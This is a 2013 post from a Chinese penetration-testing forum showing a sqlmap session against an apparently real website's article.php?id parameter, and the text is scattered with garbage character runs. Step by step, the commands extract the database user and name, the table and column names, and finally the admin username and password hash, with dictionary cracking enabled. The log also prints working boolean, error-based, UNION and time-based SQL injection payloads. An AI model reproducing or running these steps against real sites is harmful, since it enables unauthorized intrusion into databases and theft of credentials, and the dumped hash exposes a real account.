中国网络渗透测试联盟

标题: sqlmap实例注入mysql [打印本页]
作者: admin    时间: 2013-4-4 22:18
标题: sqlmap实例注入mysql
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 I% ^2 h! b/ o" X7 W
ms "Mysql" --current-user       /*  注解：获取当前用户名称
1 C1 ~# B  v0 ~0 a2 u    sqlmap/0.9 - automatic SQL injection and database takeover tool
& h! l) r' d& {  Y    http://sqlmap.sourceforge.net
  • starting at: 16:53:54: C5 u: F8 z6 x. R8 B0 W
    [16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    2 p" l7 r# O7 q9 V1 t session file4 F. Q  ?2 ^! h/ I5 Z' b, F! W
    [16:53:54] [INFO] resuming injection data from session file! V# ~5 L9 R& N- O2 T
    [16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    ) k2 v  I, ~8 @) y- ?6 g" C[16:53:54] [INFO] testing connection to the target url
    . J# W2 o# h! X9 M' n8 V5 i. Usqlmap identified the following injection points with a total of 0 HTTP(s) reque
    ; T. v, ?3 s3 Ests:
    3 W' [7 v$ U2 X* D( K1 R' o---
    0 u0 Y& |3 K( X* x, dPlace: GET' C, P4 l& I, F8 C9 I' ^. A5 s4 |
    Parameter: id
    - a3 F0 |7 S4 w- ?( Z( a4 a1 c    Type: boolean-based blind7 N. B1 `+ f: t! ~) V
        Title: AND boolean-based blind - WHERE or HAVING clause
    8 ?8 {0 M, W4 v5 {" ^8 f    Payload: id=276 AND 799=7993 u9 I0 i) }% P& U" E
        Type: error-based' p% ^1 I: [" ^. V* l
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    & b7 o. o1 `6 u+ t# ~    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,4 h0 K) U0 D9 j. |
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,587 |; ~2 E+ h" a. j
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ' }6 N8 ]) m  W    Type: UNION query+ |4 E8 w9 Z! ^; D; i
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    & k6 W  f; a/ _& `/ F    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    . O2 e* |  i; B. _( N(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),% |! R1 e& d6 y+ |& R% F
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#2 e6 h' Z. {+ b' \' \( b4 |$ O: E2 W
        Type: AND/OR time-based blind
      d% d! x6 V- \' o    Title: MySQL > 5.0.11 AND time-based blind; b  ?' c4 l. A9 o) c. S  p& s
        Payload: id=276 AND SLEEP(5)
    ! p- i+ w% J# c- U2 Q---6 I, d1 Q# Y% S$ V
    [16:53:55] [INFO] the back-end DBMS is MySQL
    0 G8 ^" @" n- @0 k" |web server operating system: Windows
    + h8 D( i3 {) {web application technology: Apache 2.2.11, PHP 5.3.05 |# v5 W+ O$ D8 ?" f: A, h
    back-end DBMS: MySQL 5.0
    ; n, K! T( {  z2 P/ U[16:53:55] [INFO] fetching current user
    2 o6 L' z# m1 O0 q& ?( Icurrent user:    'root@localhost'   
    . r6 S4 d  o! D9 W4 _$ D% i[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou! b1 S% ?( t% I( p! }
    tput\www.wepost.com.hk'
  • shutting down at: 16:53:58" ]3 r  F  {; s: {9 L
    / ]" O/ ]/ c, m1 H& E6 `8 k+ A9 O
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) j; L. E4 o/ }2 h. R6 n
    ms "Mysql" --current-db                  /*当前数据库# t" Q; y1 Q" m+ Q; ^
        sqlmap/0.9 - automatic SQL injection and database takeover tool+ }9 }. ?& ]- z& N7 J
        http://sqlmap.sourceforge.net
  • starting at: 16:54:16
    - ]6 U/ s" ]' T$ I1 R2 W) ][16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as# Y/ d* J1 F9 P+ }9 W: H/ X, U
    session file
    - S3 @8 q" C0 b4 Z( B: g* S[16:54:16] [INFO] resuming injection data from session file7 g2 `' D& E3 z1 Y
    [16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file# y. {0 `6 W9 P7 L/ ^
    [16:54:16] [INFO] testing connection to the target url8 [+ d5 O, x8 b( G4 d/ R( o: k
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    2 b" Z- A4 p  G- W2 h+ e# qsts:
    - m. h) e4 g: T9 b% U$ {. I---' a3 x% r1 l/ T: ^9 j9 c
    Place: GET
      [1 Y6 c- j% ~2 q' G  S6 yParameter: id1 r( O# {1 h8 t- b
        Type: boolean-based blind  Q2 q" q: `7 `' E9 g4 ?2 E5 Z
        Title: AND boolean-based blind - WHERE or HAVING clause4 w) e% ^' Z$ _$ M
        Payload: id=276 AND 799=799
    8 t% M& h/ |) l1 K    Type: error-based, C# T1 u0 r5 C6 S
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause1 z3 `+ d9 q- j% e
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,4 U  M. P2 d5 q
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
      X" D1 |* d* y7 Y),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    8 w5 R% b, g2 C! L% X$ c/ b/ f# x    Type: UNION query
    8 L$ s6 U; t6 T9 _    Title: MySQL UNION query (NULL) - 1 to 10 columns
    ; |/ \- z, r! X* B6 P    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    1 R7 I3 w. z% ]/ ^(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),; z; g: R; a! f: X2 N
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    1 N; ?0 h) S4 ], l# U- @% z) x    Type: AND/OR time-based blind
    ) u  A; i% s# I6 _! L    Title: MySQL > 5.0.11 AND time-based blind6 f$ {% @; A# U" b3 `
        Payload: id=276 AND SLEEP(5)
    . X& Z" v; M8 E---
    8 o8 ~. }& @+ z% r! B: J: p% F' M[16:54:17] [INFO] the back-end DBMS is MySQL8 C+ [- p5 o  h! P5 S
    web server operating system: Windows3 S2 I* s0 R2 k( i! Y
    web application technology: Apache 2.2.11, PHP 5.3.0' T& ]3 u% T! W: ]: z  N& G
    back-end DBMS: MySQL 5.0' ]) G& M3 J* u" N' j; U
    [16:54:17] [INFO] fetching current database
    # s6 }  P4 q5 J8 X- K0 e8 Bcurrent database:    'wepost': k! V! p5 |( r3 u  p0 c# ]# ]
    [16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou# r4 C  \) a: v& X. q% [2 n
    tput\www.wepost.com.hk'
  • shutting down at: 16:54:18
    3 f' n7 O0 _7 R" o1 H8 B/ P6 `- s0 TD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    + i, v# n* v9 Y2 vms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名$ g3 x& v( y! _; m" C5 S  Y
        sqlmap/0.9 - automatic SQL injection and database takeover tool9 D7 m) Y+ L0 H. G
        http://sqlmap.sourceforge.net
  • starting at: 16:55:25! \9 ^. ?; O1 g$ G* F
    [16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    ( M9 Y  K  @6 ^. u session file
    " w6 Q3 u: F) H# |+ r1 X/ B4 z. w[16:55:25] [INFO] resuming injection data from session file
    2 H" J% k# G6 z[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    . W: k- I) N- y7 j7 m' ^% p[16:55:25] [INFO] testing connection to the target url
    , B) _  s. I8 I: N( o; S  c6 dsqlmap identified the following injection points with a total of 0 HTTP(s) reque- Z: k8 g8 j% V" }; F: ^
    sts:
    ( d  i2 e6 f/ G9 Q---
    ; p2 k; X# r8 e  j& V: `Place: GET
    : K- F9 |) ~+ ]' AParameter: id
    ! W. U, ~7 M& g# W3 M    Type: boolean-based blind
    1 t5 S: h7 U0 h# k# `4 j( O    Title: AND boolean-based blind - WHERE or HAVING clause
    1 k0 G3 ~# B; }; \2 k    Payload: id=276 AND 799=799
    3 K$ R5 Y8 E# c0 y! D$ ^$ b* Q    Type: error-based8 X' K2 r" e( D4 a
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause" ?  U  f- b) n, m0 T/ C
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# P  ~- ?8 w- Q2 X$ b! j2 c2 a3 e
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58" V5 K' T& [9 h1 L) Q
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ ^3 [* u' d: G8 n
        Type: UNION query% w% ]2 p0 ~: n" K/ F' B; q
        Title: MySQL UNION query (NULL) - 1 to 10 columns$ S/ u3 _" a% c; R3 r6 Q
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    ( O* M) P4 V$ I( V' S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    + Q8 n3 H( u0 l; y- @CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    9 A" X# |: S7 R    Type: AND/OR time-based blind
    ( H# h' a- e- x) d6 P7 }    Title: MySQL > 5.0.11 AND time-based blind& a) D$ o3 L4 v  ?
        Payload: id=276 AND SLEEP(5)+ l  I/ s, K$ m
    ---
    7 Q- j2 ~2 k1 Q+ u[16:55:26] [INFO] the back-end DBMS is MySQL6 w! h2 ^8 d+ ~9 P
    web server operating system: Windows
    ( G" G6 H  B$ R) E; {7 _web application technology: Apache 2.2.11, PHP 5.3.0
    8 O& B% z8 f* Kback-end DBMS: MySQL 5.0: R7 ~% J" v5 `0 \
    [16:55:26] [INFO] fetching tables for database 'wepost'
    ) }4 c! R! ]1 j" o, U$ U  {[16:55:27] [INFO] the SQL query used returns 6 entries" q2 b# O6 [& M/ C
    Database: wepost
    2 J4 F+ y- Z+ G; s$ S4 r7 e[6 tables]
    1 q5 o1 O& i) H6 q9 R& \+ D+-------------+
    * P* |6 H8 Y& m| admin       |& W8 c9 n' A* G5 v3 I
    | article     |: `! b; B) I) G+ ^7 e3 d
    | contributor |8 x  \$ y9 W: S0 T- V0 W
    | idea        |" d9 V7 x; [7 p/ F6 t
    | image       |
    / e6 G; w5 L8 D* g* i0 a| issue       |
    7 o( J. ?+ O, w+ Z+ R+-------------+
    % _2 I. T9 ^% ^3 v' r! t: w; _! [4 k5 f[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    ( ^  c  m+ _% k% r. utput\www.wepost.com.hk'
  • shutting down at: 16:55:33# i3 |' h( m% T) c( |: b1 Z
    ( f/ U  c8 w8 [2 v
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    : S" ], x0 D# kms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名) X3 k* f( e5 d1 v
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    ( c5 N8 R$ a2 ^5 D$ ~    http://sqlmap.sourceforge.net
  • starting at: 16:56:06: ]' Y7 r$ P- X
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque6 ^' m) M0 \  b: O* \+ ?) Z! p* t; I
    sts:1 {3 \% f0 M* Y; O) z2 V
    ---
    , B/ B/ ?( c$ ?2 K% dPlace: GET
    ; F8 u: N4 k. |3 }/ |; X* Y& o& ]Parameter: id
    8 i* w7 L1 `7 Q6 F: u    Type: boolean-based blind+ g- \3 a$ W' v' p& C0 P
        Title: AND boolean-based blind - WHERE or HAVING clause: U0 R, ]* m: e. a
        Payload: id=276 AND 799=799
    8 l3 ~; M  ?- V    Type: error-based' Y# `" H5 V5 v: z
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause+ x  d4 x3 e) ~: Q* c7 i, Q
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    ; C$ V; w5 r- k0 a6 V7 N+ C120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58  N. j- I$ q7 ~
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)5 [' L* @- B# F; H7 A
        Type: UNION query$ Z6 U; M7 z7 z/ l
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    - @5 _: p9 q  U    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    1 i2 V5 t- v: Y2 R$ e(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),3 j5 {; i" ]9 e
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL## a" `7 T5 C9 {+ _" S2 G
        Type: AND/OR time-based blind
    4 e5 b7 |) l) a7 x8 K: z# }) S    Title: MySQL > 5.0.11 AND time-based blind2 P$ y  U- C: b" D# O! I+ J2 t
        Payload: id=276 AND SLEEP(5)
    - ^+ G! C5 ?1 B---
    6 ?" J% J* A( Y6 d7 ^: Gweb server operating system: Windows
    5 M) x7 p; T0 y+ S: qweb application technology: Apache 2.2.11, PHP 5.3.0# d0 Y% n! f4 c% p  X0 E
    back-end DBMS: MySQL 5.0
    9 N2 z, G* O5 l+ ~8 J* b[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
    9 @! o- X! }8 Jssion': wepost, wepost
    6 Z1 h; A2 A, S5 d, VDatabase: wepost
    ( c: n' n" B4 m0 |+ Q* a+ rTable: admin1 Q: k  P7 _- {
    [4 columns]
    4 t$ k  S! d. X5 |- v: W$ ]+----------+-------------+
    9 }" |2 ?* }% R3 D| Column   | Type        |* o2 r! P: G" p; y
    +----------+-------------+
    , m8 P" e. O* Y/ N| id       | int(11)     |7 C" f. y. z6 W' a! b- A/ j. v
    | password | varchar(32) |2 B- ?# }4 E) S
    | type     | varchar(10) |9 C/ F6 `. I2 x% ^1 m( W4 {
    | userid   | varchar(20) |) q8 K. u& U5 D0 H! m
    +----------+-------------+
    5 g9 O+ b* N1 C% ?
  • shutting down at: 16:56:19
    # o2 l* Y5 C; ]0 u
    4 p9 N+ _# l' E' ]D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    7 l6 \: l1 h# Ams "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容- L6 H" H7 ~2 ~: }
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    , C- K7 k! g2 [4 a4 M    http://sqlmap.sourceforge.net
  • starting at: 16:57:14
    8 X! h- @# _6 }  m' ~sqlmap identified the following injection points with a total of 0 HTTP(s) reque2 ?& Z- d4 g2 B! ^
    sts:
    # Q* E8 D3 D: H3 v! P4 _2 D---; `# O: K9 m+ Y5 O0 u- Z3 X/ P
    Place: GET
    ! f5 e& ]0 l" ~Parameter: id
    * c4 [% F$ P1 B+ Z, N$ G& W2 l3 `    Type: boolean-based blind6 ^1 q0 N8 u  R8 G; h8 u. d' v
        Title: AND boolean-based blind - WHERE or HAVING clause
    % c& w. [( l7 T& I    Payload: id=276 AND 799=799
      U! e3 ]1 z# e0 Q& @" o) z$ C    Type: error-based. V, Q: K: K1 C1 `$ m
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause' j- v7 b6 a# Z
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
      [# R& i% C  M+ i0 o' o% Y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    + ]' ^: R$ `7 Z6 [$ @2 y),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)* `+ Z0 o* N% ^. [% L6 `6 `
        Type: UNION query
    ' i! L/ T, h3 {) g9 u2 n3 R5 Q' V! i    Title: MySQL UNION query (NULL) - 1 to 10 columns) f6 o9 e  ^1 E9 U
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' i, U3 P+ V% k4 C: X
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),- x0 u4 z$ F: M
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    + k7 X- I' N# R/ Z    Type: AND/OR time-based blind' j2 B6 K  D+ ^) }; Z
        Title: MySQL > 5.0.11 AND time-based blind
    2 _3 |4 ]/ |0 d  O6 q    Payload: id=276 AND SLEEP(5)  n) r- ^; T( m. m; q/ l
    ---8 j5 H) F, q) L. F! H
    web server operating system: Windows0 \. h6 X- \# Y5 a
    web application technology: Apache 2.2.11, PHP 5.3.0
      l- o5 L' S- d3 z" L/ p! wback-end DBMS: MySQL 5.0' h' d0 R9 G$ r8 I! `# d# c
    recognized possible password hash values. do you want to use dictionary attack o! J: }1 t/ X* {9 g1 |( O! l1 [
    n retrieved table items? [Y/n/q] y
    $ b: K; ?& ~7 v% Q, {9 ?/ Y) Twhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]3 D/ s: A$ g7 Q0 m3 c, U4 s
    do you want to use common password suffixes? (slow!) [y/N] y+ @, @% }1 s" K0 |, a9 X- @
    Database: wepost  m: l; {- G1 ]
    Table: admin
    % Z6 e3 t% _! E8 t# I[1 entry]
    . R; t( E" n( e# k+----------------------------------+------------+
    1 [, K3 A7 U6 W% s5 ?1 w5 I+ p/ r| password                         | userid     |
    , d9 o- k: O* m+----------------------------------+------------+6 I' m/ ?4 c6 c% r6 W: [2 ~) r
    | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
    . M" I. j3 I8 G: D9 X- C, `4 E- r9 @+----------------------------------+------------+2 W2 {# {5 B% E2 p6 C
  • shutting down at: 16:58:14$ A  g2 d+ v  t
    ! x+ F) w" E! H( D
    D:\Python27\sqlmap>



    欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2